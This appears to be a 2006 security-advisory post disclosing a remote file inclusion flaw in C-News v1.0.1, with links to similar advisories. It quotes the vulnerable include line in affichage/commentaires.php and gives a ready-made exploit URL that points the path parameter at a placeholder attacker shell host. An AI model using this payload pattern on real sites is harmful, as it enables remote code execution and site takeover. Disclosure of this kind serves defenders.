Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Akarru v0.4.3.34 - Remote File Include Vulnerabilities

Shadow Prémod <= 2.7.1 [phpbb_root_path] Remote File Include Vulnerability

BinGo News <= v3.01 (bnrep) Remote File Inclusion Exploit

[SA21779] Drupal Pathauto Module Cross-Site Scripting Vulnerability

From:	SHiKaA-_(at)_hotmail.com <SHiKaA-_(at)_hotmail.com>
Date:	06.09.2006
Subject:	C-News <= v1.0.1 (path) Remote File Inclusion Exploit

#================================================================================
==============
#C-News <= v1.0.1 (path) Remote File Inclusion Exploit
#================================================================================
===============
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://www.c-news.fr/       
#                                                                       
#Version : v1.0.1                                             
#                                                         
#================================================================================
================
#Bug in : affichage/commentaires.php
#
#Vlu Code :
#--------------------------------
#      include($path . 'data/config.inc.php');
#
#
#================================================================================
================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/affichage/commentaires.php?path=http://SHELLURL.COM?
#
#================================================================================
================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : SiMooooo
=================================================================================
=================